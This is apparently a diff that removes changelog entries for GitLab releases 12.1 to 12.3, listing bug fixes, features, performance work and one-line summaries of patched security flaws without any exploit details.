-- Fix style of secondary profile tab buttons. !32010 (Wolfgang Faust)
-- Fix serverless entry page layout. !32029
-- Fix HTML rendering for fast-forward rebases in merge request widget. !32032
-- Update the timestamp in Operations > Environments to show correct deployment date for manual deploy jobs. !32072
-- Fix dropdowns closing when click is released outside the dropdown. !32084
-- Hide duplicate board list while dragging. !32099
-- Don't check external authorization when disabling the service. !32102 (Robert Schilling)
-- Makes custom Pages domain open as external link in new tab. !32130 (jakeburden)
-- Change default visibility level for FogBugz imported projects to Private. !32142
-- Move visual review toolbar code to NPM. !32159
-- Fix parsing of months in time tracking commands. !32165
-- Wrong format on MS teams integration push events with multi line commit messages. !32180 (Massimeddu Cireddu)
-- Guard against deleted project feature entry in project permissions. !32187
-- Fix ref switcher separators from conflicting with branch names. !32198
-- Fix performance bar on Puma. !32213
-- Remove token field from runners edit form. !32231
-- Fix 500 error in CI lint when included templates are an array. !32232
-- Fix users cannot access job detail page when deployable does not exist. !32247
-- Do not translate system notes into author's language. !32264
-- Fix moving issues API failing when text includes commit URLs. !32317
-- Fix issue due notification emails not being threaded correctly. !32325
-- Allow project feature permissions to be overridden during import with override_params. !32348
-- Handle invalid mirror url. !32353 (Lee Tickett)
-- New project milestone primary button. !32355 (Lee Tickett)
-- Display `more information` docs link on error tracking page when users do not have permissions to enable that feature. !32365 (Romain Maneschi)
-- Quick action label must be first in issue comment. !32367 (Romain Maneschi)
-- Fix for missing avatar images dislpayed in commit trailers. !32374 (Jesse Hall @jessehall3)
-- Make it harder to delete issuables accidentally. !32376
-- Replaced vue resource to axios in the Markdown field preview component. !32386 (Prakash Chokalingam @prakash_Chokalingam)
-- Fix create MR from issue using a tag as ref. !32392 (Jacopo Beschi @jacopo-beschi)
-- Add X-GitLab-NotificationReason header to note emails. !32422
-- Expand textarea for CA cert in cluster form. !32508
-- Prevent empty external authorization classification labels from overriding the default label. !32517 (Will Chandler)
-- Allow not resolvable urls when dns rebind protection is disabled. !32523
-- Avoid checking dns rebind protection when validating. !32577
-- Passing job rules downstream and E2E specs for job:rules configuration. !32609
-- Quote branch names in how to merge instructions. !32639 (Lee Tickett)
-- Fix removal of install pods. !32667
-- Fix sharing localStorage with all MRs. !32699
-- Default the asset proxy whitelist to the installation domain. !32703
-- Add some padding to details markdown element. !32716
-- Use `ChronicDuration` in a thread-safe way. !32817
-- Fix watch button styling and notifications buttons consistency. !32827
-- Fix encoding error in MR diffs when using external diffs. !32862 (Hiroyuki Sato)
-- Add bottom margin to snippet title. !32877
-- Bump markdown cache version to fix any incorrect links from asset proxy defaults.
-- Persist `needs:` validation as config error.
-
-### Changed (39 changes, 6 of them are from the community)
-
-- Extend pipeline graph scroll area to full width. !14870
-- Frontend support for saving issue board preferences on the current user. !16421
-- Switch Milestone and Release to a many-to-many relationship. !16517
-- Align project selector search box better with design system. !16795
-- Adds the runners_token of the group if the user that requests the group info is admin of it. !16831 (Ignacio Lorenzo Subirá Otal nachootal@gmail.com)
-- Upgrade to Gitaly v1.65.0. !17135
-- Make flash notifications sticky. !30141
-- Add Issue and Merge Request titles to Todo items. !30435 (Arun Kumar Mohan)
-- Remove wiki page slug dialog step when creating wiki page. !31362
-- Improve system notes for Zoom links. !31410 (Jacopo Beschi @jacopo-beschi)
-- Updated WebIDE default commit options. !31449
-- Remove oauth form from GitHub CI/CD only import authentication. !31488
-- Update assignee (cannot merge) style. !31545
-- Updated latest pipeline tag tooltip to be more descriptive. !31624
-- Add optional label_id parameter to label API for PUT and DELETE. !31804
-- Updates issues REST API to allow extended sort options. !31849
-- Fix to show renamed file in mr. !31888
-- Replaced expand diff icons. !31907
-- Upgrade to Gitaly 1.60.0. !31981
-- Make MR pipeline widget text more descriptive. !32025
-- Fix wording on milestone due date when milestone is due today. !32096
-- Improve search result labels. !32101
-- Limit access request emails to ten most recently active owners or maintainers. !32141
-- Improve chatops help output. !32208
-- Update merge train documentation. !32218
-- Add caret icons to the monitoring dashboard. !32239
-- Install cert-manager v0.9.1. !32243
-- Bring text mail for new issue & MR more in line. !32254
-- Add cluster domain warning. !32260
-- Rename epic column state to state_id. !32270
-- Use moved instead of closed in issue references. !32277 (juliette-derancourt)
-- Standardize use of `content` parameter in snippets API. !32296
-- Show meaningful message on /due quick action with invalid date. !32349 (Jacopo Beschi @jacopo-beschi)
-- Remove dynamically constructed feature flags starting with prometheus_transaction_. !32395 (Jacopo Beschi @jacopo-beschi)
-- Indicate on Issue Status if an Issue was Duplicated. !32472
-- Avoid dns rebinding checks when the domain is whitelisted. !32603
-- Upgrade to Gitaly v1.62.0. !32608
-- Unified presentation of the filter input field for projects listings. !32706
-- Hide resolve thread button from guest. !32859
-
-### Performance (20 changes)
-
-- Lower search counters. !11777
-- Considerably improve the query performance for MR discussions load. !16635
-- Eliminate Gitaly N+1 queries with notes API. !32089
-- Optimise UpdateBuildQueueService. !32095
-- Remove N+1 SQL query loading project feature in dashboard. !32169
-- Reduce the number of SQL requests on MR-show. !32192
-- Makes LFS object linker process OIDs in batches. !32268
-- Preload routes information to fix N+1 issue. !32352
-- Reduce N+1 when doing project export. !32423
-- Skip requesting diverging commit counts if no branches are listed. !32496
-- Support selective highlighting of lines. !32514
-- Replace indexes for counting active users. !32538
-- Create partial index for gitlab-monitor CI metrics. !32546
-- Optimize queries for snippet listings. !32576
-- Preprocess wiki attachments with GitLab-Workhorse. !32663
-- Create index for users.unconfirmed_email. !32664
-- Optimize /admin/applications so that it does not timeout. !32852
-- Replace events index with partial one. !32874
-- Partial index for namespaces.type. !32876
-- Fix member expiration not always working. !32951
-
-### Added (42 changes, 10 of them are from the community)
-
-- Enable modsecurity in nginx-ingress apps. !15774
-- Database table for tracking programming language trends over time. !16491
-- Add DAST full scan domain validation. !16680
-- Add not param to Issues API endpoint. !16748
-- Allow specifying timeout per-job in .gitlab-ci.yml. !16777 (Michał Siwek)
-- Document forwarding CI variables to docker build in Auto DevOps. !16783
-- Add links for latest pipelines. !20865 (Alex Ives)
-- New interruptible attribute for CI/CD jobs. !23464 (Cédric Tabin)
-- API: Promote project labels to group labels. !25218 (Robert Schilling)
-- Introduced Build::Rules configuration for Ci::Build. !29011
-- Notification emails can be signed with SMIME. !30644 (Diego Louzán)
-- Allow milestones to be associated with a release (backend). !30816
-- Enable serving static objects from an external storage. !31025
-- Save collapsed option for board lists in database. !31069
-- Apply quickactions when modifying comments. !31136
-- Add SwaggerUI Pages template for .gitlab-ci.yml. !31183 (mdhtr)
-- Add ability to see project deployments at cluster level (FE). !31575
-- Create component to display area and line charts in monitor dashboards. !31639
-- Add persistance to last choice of projects sorting on projects dashboard page. !31669
-- Run Pipeline button & API for MR Pipelines. !31722
-- Add service to transfer Group Milestones when transferring a Project. !31778
-- Allow $CI_REGISTRY_USER to delete tags. !31796
-- Support adding and removing labels w/ push opts. !31831
-- Enable line charts in dashbaord panels and embedded charts. !31920
-- Add First and Last name columns to User model. !31985
-- Add option to allow OAuth providers to bypass two factor. !31996 (Dodocat)
-- Expose namespace storage statistics with GraphQL. !32012
-- Add usage pings for merge request creating. !32059
-- Add warning about initial deployment delay for GitLab Pages sites. !32122
-- Allow Knative to be installed on group and instance level clusters. !32128
-- Add a close issue slack slash command. !32150
-- Support chat notifications to be fired for protected branches. !32176
-- Add system hooks for project/group membership updates. !32371 (Brandon Williams)
-- Add source and merge_request fields to pipeline event webhook. !32373 (Bian Jiaping)
-- Allow ECDSA certificates for pages domains. !32393
-- Show link to cluster used on job page. !32446
-- Group level JupyterHub. !32512
-- Creates utility parser for the job log. !32555
-- Expose update project service endpoint JSON. !32759
-- Expose 'protected' field for Tag API endpoint. !32790 (Andrea Leone)
-- Create table `alerts_service_data`. !32860
-- Creates base components for the new job log.
-
-### Other (42 changes, 13 of them are from the community)
-
-- Setting NOT NULL constraint to users.private_profile column. !14838
-- Schedule productivity analytics recalculation for EE. !15137
-- Document Lambda deploys via GitLab CI/CD. !16858
-- Add Redis interceptor tracing. !30238
-- Encrypt existing and new deploy tokens. !30679
-- Clean up keyboard shortcuts help modal, removing and adding as needed. !31642
-- Add warning to pages domains that obtaining/deploying SSL certificates through Let's Encrypt can take some time. !31765
-- Add new API method in Api.js: projectUsers. !31801
-- Upgrade babel to 7.5.5. !31819 (Takuya Noguchi)
-- Update docs to reflect the rename of gitlab-monitor to gitlab-exporter. !31901
-- Count comments on commits and merge requests. !31912
-- Resolve Badge counter: Very low contrast between foreground and background colors. !31922
-- Add index to improve group cluster deployments query performance. !31988
-- Replace finished_at with deployed_at for the internal API Deployment entity. !32000
-- Update to GitLab Shell v9.4.0. !32009
-- Default clusters namespace_per_environment column to true. !32139
-- Remove deprecation message for milestone tabs. !32252
-- Refactored Karma spec to Jest for mr_widget_auto_merge_failed. !32282 (Illya Klymov)
-- Update GitLab Runner Helm Chart to 0.8.0. !32289
-- Refactor showStagedIcon property to reflect the behavior its name represents. !32333 (Arun Kumar Mohan)
-- Upgrade pages to 1.8.0. !32334
-- Change prioritized labels empty state message. !32338 (Lee Tickett)
-- make test of note app with comments disabled dry. !32383 (Romain Maneschi)
-- Use new location for gitlab-runner helm charts. !32384
-- Mention in docs how to disable project snippets. !32391 (Jacopo Beschi @jacopo-beschi)
-- delete animation width on global search input. !32399 (Romain Maneschi)
-- Remove vue resource from sidebar service. !32400 (Lee Tickett)
-- Remove vue resource from issue. !32421 (Lee Tickett)
-- Remove vue resource from remove issue. !32425 (Lee Tickett)
-- Remove vue-resource from PerformanceBarService. !32428 (Lee Tickett)
-- Added warning note on the project container registry setting informing users that the registry is public for public projects. !32447
-- Admin dashboard: Fetch and render statistics async. !32449
-- Update GitLab Workhorse to v8.10.0. !32501
-- Remove Users.support_bot column. !32554
-- Add padding to left of "Sort by" in members dropdown. !32602
-- Log errors for failed pipeline creation in PostReceive. !32633
-- Avoid prefilling target branch when source branch is the default one. !32701
-- Bump Kubeclient to 4.4.0. !32811
-- Remove vue-resource from notes service. !32934 (Lee Tickett)
-- Added board name to page title in boards view.
-- Remove vue resource from group service. (Lee Tickett)
-- Updates tooltip of 'detached' label/state.
-
-
-## 12.2.11
-
-- No changes.
-
-## 12.2.8
-
-### Security (1 change)
-
-- Limit search for IID to a type to avoid leaking records with the same IID that the user does not have access to.
-
-
-## 12.2.7
-
-### Security (1 change)
-
-- Fix private feature Elasticsearch leak.
-
-
-## 12.2.6
-
-### Security (11 changes)
-
-- Add a policy check for system notes that may not be visible due to cross references to private items.
-- Display only participants that user has permission to see on milestone page.
-- Do not disclose project milestones on group milestones page when project milestones access is disabled in project settings.
-- Check permissions before showing head pipeline blocking merge requests.
-- Fix new project path being disclosed through unsubscribe link of issue/merge requests.
-- Prevent bypassing email verification using Salesforce.
-- Do not show resource label events referencing not accessible labels.
-- Cancel all running CI jobs triggered by the user who is just blocked.
-- Fix Gitaly SearchBlobs flag RPC injection [Gitaly v1.59.3].
-- Only render fixed number of mermaid blocks.
-- Prevent GitLab accounts takeover if SAML is configured.
-
-
-## 12.2.5
-
-### Security (1 change)
-
-- Upgrade pages to 1.7.2.
-
-
-## 12.2.4
-
-### Fixed (7 changes)
-
-- Add syntax highlighting for line expansion. !31821
-- Fix issuable sidebar icon on notification disabled. !32134
-- Upgrade Mermaid to v8.2.4. !32186
-- Fix Piwik not working. !32234
-- Fix snippets API not working with visibility level. !32286
-- Fix upload URLs in Markdown for users without access to project repository. !32448
-- Update Mermaid to v8.2.6. !32502
-
-### Performance (1 change)
-
-- Fix N+1 Gitaly calls in /api/v4/projects/:id/issues. !32171
-
-
-## 12.2.3
-
-- No changes.
-
-## 12.2.2
-
-### Security (22 changes)
-
-- Ensure only authorised users can create notes on Merge Requests and Issues.
-- Gitaly: ignore git redirects.
-- Add :login_recaptcha_protection_enabled setting to prevent bots from brute-force attacks.
-- Speed up regexp in namespace format by failing fast after reaching maximum namespace depth.
-- Limit the size of issuable description and comments.
-- Send TODOs for comments on commits correctly.
-- Restrict MergeRequests#test_reports to authenticated users with read-access on Builds.
-- Added image proxy to mitigate potential stealing of IP addresses.
-- Filter out old system notes for epics in notes api endpoint response.
-- Avoid exposing unaccessible repo data upon GFM post processing.
-- Fix HTML injection for label description.
-- Make sure HTML text is always escaped when replacing label/milestone references.
-- Prevent DNS rebind on JIRA service integration.
-- Use admin_group authorization in Groups::RunnersController.
-- Prevent disclosure of merge request ID via email.
-- Show cross-referenced MR-id in issues' activities only to authorized users.
-- Enforce max chars and max render time in markdown math.
-- Check permissions before responding in MergeController#pipeline_status.
-- Remove EXIF from users/personal snippet uploads.
-- Fix project import restricted visibility bypass via API.
-- Fix weak session management by clearing password reset tokens after login (username/email) are updated.
-- Fix SSRF via DNS rebinding in Kubernetes Integration.
-
-
-## 12.2.1
-
-### Fixed (2 changes)
-
-- Fix for embedded metrics undefined params. !31975
-- Fix "ERR value is not an integer or out of range" errors. !32126
-
-### Performance (1 change)
-
-- Fix Gitaly N+1 calls with listing issues/MRs via API. !31938
-
-### Fixed (3 changes)
-
-- Fix for embedded metrics undefined params. !31975
-- Fix "ERR value is not an integer or out of range" errors. !32126
-- Prevent duplicated trigger action button.
-
-### Performance (1 change)
-
-- Fix Gitaly N+1 calls with listing issues/MRs via API. !31938
-
-
-## 12.2.0
-
-### Security (4 changes, 1 of them is from the community)
-
-- Update mini_magick to 4.9.5. !31505 (Takuya Noguchi)
-- Upgrade Rugged to 0.28.3. !31794
-- Queries for Upload should be scoped by model.
-- Restrict slash commands to users who can log in.
-
-### Removed (3 changes)
-
-- Remove Kubernetes service integration page. !31365
-- Remove line profiler from performance bar.
-- Remove GC metrics from performance bar.
-
-### Fixed (74 changes, 4 of them are from the community)
-
-- Resolve Incorrect empty state message on Explore projects. !25578
-- Search issuables by iids. !28302 (Riccardo Padovani)
-- Make it easier to find invited group members. !28436
-- fix: updates to include units for the y axis label. !30330
-- Align access permissions for wiki history to those of wiki pages. !30470
-- Add index for issues on relative position, project, and state for manual sorting. !30542
-- Fix suggestion on lines that are not part of an MR. !30606
-- Add empty chart component. !30682
-- Remove blank block from job sidebar. !30754
-- Remove duplicate buttons in diff discussion. !30757
-- Order projects in 'Move issue' dropdown by name. !30778
-- Fix bug in dashboard display of closed milestones. !30820
-- Fixes alignment issues with reports. !30839
-- Ensure visibility icons in group/project listings are grey. !30858
-- Fix admin labels page when there are invalid records. !30885
-- Extra logging for new live trace architecture. !30892
-- Fix pipeline emails not respecting group notification email setting. !30907
-- Handle trailing slashes when generating Jira issue URLs. !30911
-- Optimize relative re-positioning when moving issues. !30938
-- Better support clickable tasklists inside blockquotes. !30952
-- Add space to "merged by" widget. !30972
-- Remove duplicated mapping key in config/locales/en.yml. !30980 (Peter Dave Hello)
-- Update Mermaid to v8.2.3. !30985
-- Use persistent Redis cluster for Workhorse pub/sub notifications. !30990
-- Remove :livesum from RubySampler metrics. !31047
-- Fix pid discovery for Unicorn processes in `PidProvider`. !31056
-- Respect group notification email when sending group access notifications. !31089
-- Default dependency job stage index to Infinity, and correctly report it as undefined in prior stages. !31116
-- Fix incorrect use of message interpolation. !31121
-- Moved labels out of fields on Search page. !31137
-- Ensure Warden triggers after_authentication callback. !31138
-- Fix admin area user access level radio button labels. !31154
-- Ignore Gitaly errors if cache flushing fails on project destruction. !31164
-- Prevent double slash in review apps path. !31212
-- Make pdf.js render CJK characters. !31220
-- Prevent discussion filter from persisting to `Show all activity` when opening links to notes. !31229
-- Improve layout of dropdowns in the metrics dashboard page. !31239
-- Remove pdf.js deprecation warnings. !31253
-- Fix GC::Profiler metrics fetching. !31331
-- Jupyter fixes. !31332 (Amit Rathi)
-- Fix first-time contributor notes not rendering. !31340
-- Fix inline rendering of relative paths to SVGs from the current repository. !31352
-- Make `bin/web_puma` consider RAILS_ENV. !31378
-- Removed extrenal dashboard legend border. !31407
-- Fix visual review app storage keys. !31427
-- Fix flashing conflict warning when editing issues. !31469
-- Fix broken issue links and possible 500 error on cycle analytics page when project name and path are different. !31471
-- Prevent turning plain links into embedded when moving issues. !31489
-- Add a field for released_at to GH importer. !31496
-- Adjust size and align MR-widget loading icon. !31503
-- Fix an issue where clicking outside the MR/branch search box in WebIDE closed the dropdown. !31523
-- Don't attempt to contact registry if it is disabled. !31553
-- Fix IDE new files icon in tree. !31560
-- Fix missing author line (`Created by: <user>`) in MRs/issues/comments of imported Bitbucket Cloud project. !31579
-- Add missing report-uri to CSP config. !31593
-- Fixed display of some sections and externalized all text in the shortcuts modal overlay. !31594
-- Remove extra padding from disabled comment box. !31603
-- Allow CI to clone public projects when HTTP protocol is disabled. !31632
-- error message for general settings. !31636 (Mesut Güneş)
-- Invalidate branches cache on PostReceive. !31653
-- Fix active metric files being wiped after the app starts. !31668
-- Fix :wiki_can_not_be_created_total counter. !31673
-- Fix job logs where style changes were broken down into separate lines. !31674
-- Properly save suggestions in project exports. !31690
-- Fix project avatar image in Slack pipeline notifications. !31788
-- Fix empty error flash message on profile:account page when updating username with username that has already been taken. !31809
-- Fix starrers counts after searching. !31823
-- Fix pipelines not always being created after a push. !31927
-- Fix 500 errors in commits api caused by empty ref_name parameter.
-- Center loading icon in CI action component.
-- Prevents showing 2 tooltips in pipelines table.
-- Fix tag page layout.
-- Prevent duplicated trigger action button.
-- Hides loading spinner in pipelines actions after request has been fullfiled.
-
-### Changed (31 changes, 5 of them are from the community)
-
-- Update cluster page automatically when cluster is created. !27189
-- Add branch/tags/commits dropdown filter on the search page for searching codes. !28282 (minghuan lei)
-- Add support for start_sha to commits API. !29598
-- Maintainers can create subgroups. !29718 (Fabio Papa)
-- Extract Auto DevOps deploy functions into a base image. !30404
-- Add MR form to Visual Review (EE) runtime configuration. !30481
-- Adjust redis cache metrics. !30572
-- Add DS_PIP_DEPENDENCY_PATH option to configure Dependency Scanning for projects using pip. !30762
-- Bring scoped environment variables to core. !30779
-- Add Web IDE Usage Ping for Create SMAU. !30800
-- Update the container scanning CI template to use v12 of the clair scanner. !30809
-- Multiple pipeline support for Commit status. !30828 (Gaetan Semet)
-- Add support for exporting repository type data for LFS objects. !30830
-- Avoid increasing redis counters when usage_ping is disabled. !30949
-- Added navbar searches usage ping counter. !30953
-- Convert githost.log to JSON format. !30967
-- Adjusted the clickable area of collapsed sidebar elements. !30974 (Michel Engelen)
-- Mark push mirrors as failed after 1 hour. !30999
-- Allows masking @ and : characters. !31065
-- Remove incorrect fallback when determining which cluster to use when retrieving MR performance metrics. !31126
-- Retry push mirrors faster when running concurrently, improve error handling when push mirrors fail. !31247
-- Make issue boards importable. !31434 (Jason Colyer)
-- Allow users to resend a confirmation link when the grace period has expired. !31476
-- Remove counts from default labels API responses. !31543
-- Upgrade to Gitaly v1.57.0. !31568
-- Rename githost.log -> git_json.log. !31634
-- Load search result counts asynchronously. !31663
-- feat: adds a download to csv functionality to the dropdown in prometheus metrics. !31679
-- Adjust copy for adding additional members. !31726
-- Upgrade to Gitaly v1.59.0. !31743
-- Filter title, description, and body parameters from logs.
-
-### Performance (17 changes, 1 of them is from the community)
-
-- Add partial index on identities table to speed up LDAP lookups. !26710
-- Improve MembersFinder query performance using UNION. !30451 (Jacopo Beschi @jacopo-beschi)
-- Rake task to cleanup expired ActiveSession lookup keys. !30668
-- Update usage ping cron behavior. !30842
-- Make Bootsnap available via ENABLE_BOOTSNAP=1. !30963
-- Batch processing of commit refs in markdown processing. !31037
-- Use tablesample approximate counting by default. !31048
-- Create index on environments by state. !31231
-- Split MR widget into etag-cached and non-cached serializers. !31354
-- Speed up loading and filtering deploy keys and their projects. !31384
-- Only track Redis calls if Peek is enabled. !31438
-- Only expire tag cache once per push. !31641
-- Reduce Gitaly calls in PostReceive. !31741
-- Eliminate many Gitaly calls in discussions API. !31834
-- Optimize DB indexes for ES indexing of notes. !31846
-- Expire project caches once per push instead of once per ref. !31876
-- Look up upstream commits once before queuing ProcessCommitWorkers.
-
-### Added (51 changes, 11 of them are from the community)
-
-- Make starred projects and starrers of a project publicly visible. !24690
-- Make quick action commands applied banner more useful. !26672 (Jacopo Beschi @jacopo-beschi)
-- Allow Helm to be uninstalled from the UI. !27359
-- Improve pipeline status Slack notifications. !27683
-- Add links to relevant configuration areas in admin area overview. !29306
-- Display project id on project admin page. !29734 (Zsolt Kovari)
-- Display group id on group admin page. !29735 (Zsolt Kovari)
-- Resolve Keyboard shortcut for jump to NEXT unresolved discussion. !30144
-- Personal access tokens are accepted using OAuth2 header format. !30277
-- Add Outbound requests whitelist for local networks. !30350 (Istvan Szalai)
-- Allow multiple Auto DevOps projects to deploy to a single namespace within a k8s cluster. !30360 (James Keogh)
-- Allow Knative to be uninstalled from the UI. !30458
-- Add admin-configurable "Support page URL" link to top Help dropdown menu. !30459 (Diego Louzán)
-- Allow specifying variables when running manual jobs. !30485
-- Use predictable environment slugs. !30551
-- Return an ETag header for the archive endpoint. !30581
-- Add Rate Request Limiter to RawController#show endpoint. !30635
-- Add git blame to GitLab API. !30675 (Oleg Zubchenko)
-- Use separate Kubernetes namespaces per environment. !30711
-- Support remove source branch on merge w/ push options. !30728
-- Deploy serverless apps with gitlabktl. !30740
-- Adjust group level analytics to accept multiple ids. !30744
-- Adds event enum column to DesignsVersions join table. !30745
-- Allow email notifications to be disabled for all members of a group or project. !30755 (Dustin Spicuzza)
-- Export and download CSV from metrics charts. !30760
-- Add API endpoints to return container repositories and tags from the group level. !30817
-- Add support for deferred links in persistent user callouts. !30818
-- Add system notes for when a Zoom call was added/removed from an issue. !30857 (Jacopo Beschi @jacopo-beschi)
-- Count wiki creation, update and delete events. !30864
-- Add new expansion options for merge request diffs. !30927
-- Count snippet creation, update and comment events. !30930
-- Update namespace label for GitLab-managed clusters. !30935
-- UI for disabling group/project email notifications. !30961 (Dustin Spicuzza)
-- Support setting of merge request title and description using git push options. !31068
-- Add new table to store email domain per group. !31071
-- Redirect from a project wiki git route to the project wiki home. !31085
-- Link and embed metrics in GitLab Flavored Markdown. !31106
-- Moves snowplow tracking from ee to ce. !31160 (jejacks0n)
-- Allow Cert-Manager to be uninstalled. !31166
-- Add new outbound network requests application setting for system hooks. !31177
-- Allow links to metrics dashboard at a specific time. !31283
-- Enable embedding of specific metrics charts in GFM. !31304
-- Support creating DAGs in CI config through the `needs` key. !31328
-- Generate shareable link for specific metric charts. !31339
-- Add support for Content-Security-Policy. !31402
-- Add BitBucketServer project import filtering. !31420
-- Embed specific metrics chart in issue. !31644
-- Track page views for cycle analytics show page. !31717
-- Add usage pings for source code pushes. !31734
-- Makes collapsible title clickable in job log.
-- Adds highlight to the collapsible section.
-
-### Other (36 changes, 9 of them are from the community)
-
-- Rewrite `if:` argument in before_action and alike when `only:` is also used. !24412 (George Thomas @thegeorgeous)
-- Create rake tasks for migrating legacy uploads out of deprecated paths. !29409
-- Remove the warning style from the U2F device message in user settings > account. !30119 (matejlatin)
-- Set visibility level 'Private' for restricted 'Internal' imported projects when 'Internal' visibility setting is restricted in admin settings. !30522
-- Change BoardService in favor of boardsStore on board blank state of the component board. !30546 (eduarmreyes)
-- Adds Sidekiq scheduling latency structured logging field. !30784
-- Adds chaos endpoints to Sidekiq. !30814
-- Added multi-select deletion of container registry images. !30837
-- When GitLab import fails during importer user mapping step, add an explicit error message mentioning importer. !30838
-- Add Rugged calls and duration to API and Rails logs. !30871
-- Fixed distorted avatars when resource not reachable. !30904 (Marc Schwede)
-- Update GitLab Runner Helm Chart to 0.7.0. !30950
-- Use Rails 5.2 Redis caching store. !30966
-- Add Rugged calls to performance bar. !30983
-- add color selector to broadcast messages form. !30988
-- Harmonize selections in user settings. !31110 (Marc Schwede)
-- Update rouge to v3.7.0. !31254
-- Update 'Ruby on Rails' project template. !31310
-- Fix mirroring help text. !31348 (jramsay)
-- Enhance style of the shared runners limit. !31386
-- Enables storage statistics for root namespaces on database. !31392
-- Improve quick action error messages. !31451
-- Enable authenticated cookie encryption. !31463
-- Update karma to 4.2.0. !31495 (Takuya Noguchi)
-- Add max_replication_slots to PG HA documentation. !31534
-- Create database tables for the new cycle analytics backend. !31621
-- Updated the detached pipeline badge tooltip text to offer a better explanation. !31626
-- Add Gitaly and Rugged call timing in Sidekiq logs. !31651
-- Fix the style-lint errors and warnings for `app/assets/stylesheets/pages/wiki.scss`. !31656
-- Update GraphicsMagick from 1.3.29 to 1.3.33 for CI tests. !31692 (Takuya Noguchi)
-- Migrate remaining users with null private_profile. !31708
-- Bump Helm to 2.14.3 and kubectl to 1.11.10 for Kubernetes integration. !31716
-- Updated the personal access token api scope description to reflect the permissions it grants. !31759
-- Add finished_at to the internal API Deployment entity. !31808
-- Remove Security Dashboard feature flag. !31820
-- Update Packer.gitlab-ci.yml to use latest image. (Kelly Hair)
-
-
-## 12.1.14
-
-### Security (1 change)
-
-- Limit search for IID to a type to avoid leaking records with the same IID that the user does not have access to.
-
-
-## 12.1.12
-
-### Security (12 changes)
-
-- Add a policy check for system notes that may not be visible due to cross references to private items.
-- Display only participants that user has permission to see on milestone page.
-- Do not disclose project milestones on group milestones page when project milestones access is disabled in project settings.
-- Check permissions before showing head pipeline blocking merge requests.
-- Fix new project path being disclosed through unsubscribe link of issue/merge requests.
-- Prevent bypassing email verification using Salesforce.
-- Do not show resource label events referencing not accessible labels.
-- Cancel all running CI jobs triggered by the user who is just blocked.
-- Fix Gitaly SearchBlobs flag RPC injection.
-- Only render fixed number of mermaid blocks.
-- Prevent GitLab accounts takeover if SAML is configured.
-- Upgrade mermaid to prevent XSS.
-
-
-## 12.1.10
-
-- No changes.
-
-## 12.1.5
-
-### Security (2 changes)
-
-- Upgrade Gitaly to 1.53.2 to prevent revision flag injection exploits.
-- Upgrade pages to 1.7.1 to prevent gitlab api token recovery from cookie.
-
-
-## 12.1.4
-
-### Fixed (3 changes, 1 of them is from the community)
-
-- Properly translate term in projects list. !30958
-- Add exclusive lease to mergeability check process. !31082
-- Fix Docker in Docker (DIND) listen port behavior change by adding DOCKER_TLS_CERTDIR in CI job templates. !31201 (Cameron Boulton)
-
-### Performance (1 change)
-
-- Improve job log rendering performance. !31262
-
-
-## 12.1.3
-
-### Fixed (11 changes)
-
-- Prevent multiple confirmation modals from opening when deleting a repository. !30532
-- Fix the project auto devops API. !30946
-- Fix "Certificate misses intermediates" UI error when enabling Let's Encrypt integration for pages domain. !30995
-- Fix xterm css not loading for environment terminal. !31023
-- Set DOCKER_TLS_CERTDIR in Auto Dev-Ops CI template to fix jobs using Docker-in-Docker. !31078
-- Set DOCKER_TLS_CERTDIR in CI job templates to fix Docker-in-Docker service. !31080
-- Support Docker OCI images. !31127
-- Fix error rendering submodules in MR diffs when there is no .gitmodules. !31162
-- Fix pdf.js rendering pages in the wrong order. !31222
-- Fix exception handling in Gitaly autodetection. !31285
-- Fix bug that caused diffs not to show on MRs with changes to submodules.
-
-### Performance (1 change)
-
-- Optimise import performance. !31045
-
-
-## 12.1.2
-
-### Security (1 change)
-
-- Use source project as permissions reference for MergeRequestsController#pipelines.
-
-### Security (9 changes)
-
-- Restrict slash commands to users who can log in.
-- Patch XSS issue in wiki links.
-- Queries for Upload should be scoped by model.
-- Filter merge request params on the new merge request page.
-- Fix Server Side Request Forgery mitigation bypass.
-- Show badges if pipelines are public otherwise default to project permissions.
-- Do not allow localhost url redirection in GitHub Integration.
-- Do not show moved issue id for users that cannot read issue.
-- Drop feature to take ownership of trigger token.
-
-
-## 12.1.1
-
-- No changes.
-
-## 12.1.0
-
-### Security (11 changes, 2 of them are from the community)
-
-- Update tar to 2.2.2. !29949 (Takuya Noguchi)
-- Update lodash to 4.7.14 and lodash.mergewith to 4.6.2. !30602 (Takuya Noguchi)
-- Correctly check permissions when creating snippet notes.
-- Gate MR head_pipeline behind read_pipeline ability.
-- Prevent Billion Laughs attack.
-- Add missing authorizations in GraphQL.
-- Fix Denial of Service for comments when rendering issues/MR comments.
-- Expose merge requests count based on user access.
-- Fix DoS vulnerability in color validation regex.
-- Prevent the detection of merge request templates by unauthorized users.
-- Persist tmp snippet uploads at users.
-
-### Removed (7 changes)
-
-- Disable Kubernetes credential passthrough for managed project-level clusters. !29262
-- Remove deprecated group routes. !29351
-- Remove support for creating non-RBAC kubernetes clusters. !29614
-- Remove Kubernetes service integration and Kubernetes service template from available deployment platforms. !29786
-- Remove MySQL support. !29790
-- Remove depreated /u/:username routing. !30044
-- Remove support for legacy pipeline triggers. !30133
-
-### Fixed (84 changes, 14 of them are from the community)
-
-- Update a user's routes after updating their name. !23272
-- Show poper panel when validation error occurs in admin settings panels. !25434
-- Expect bytes from Gitaly RPC GetRawChanges. !28164
-- Sanitize LDAP output in Rake tasks. !28427
-- Left align mr widget icons and text. !28561
-- Keep the empty folders in the tree. !29196
-- Fix incorrect emoji placement in commit diff discussion. !29445
-- Fix favicon path with uploads of object store. !29482 (Roger Meier)
-- Remove duplicate trailing +/- char in merge request discussions. !29518
-- Fix the signup form's username validation messages not displaying. !29678 (Jiaan Louw)
-- Fix broken environment selector and always display it on monitoring dashboard. !29705
-- Fix Container Scanning job timeout when using the kubernetes executor. !29706
-- Look for new branches more carefully. !29761
-- Fix nested lists unnecessary margin. !29775 (Kuba Kopeć)
-- Fix reports jobs timing out because of cache. !29780
-- Fix Double Border in Profile Page. !29784 (Yoginth <@yo>)
-- Remove minimum character limits for fuzzy searches when using a CTE. !29810
-- Set default sort method for dashboard projects list. !29830 (David Palubin)
-- Protect TeamCity builds from triggering when a branch has been deleted. And a MR-option. !29836 (Nikolay Novikov, Raphael Tweitmann)
-- Fix pipeline schedule does not run correctly when it's scheduled at the same time with the cron worker. !29848
-- Always shows author of created issue/started discussion/comment in HTML body and text of email. !29886 (Frank van Rest)
-- Build correct basenames for title search results. !29898
-- Resolve "500 error when forking via the web IDE button". !29909
-- Turn commit sha in monitor charts popover to link. !29914
-- Fix broken URLs for uploads with a plus in the filename. !29915
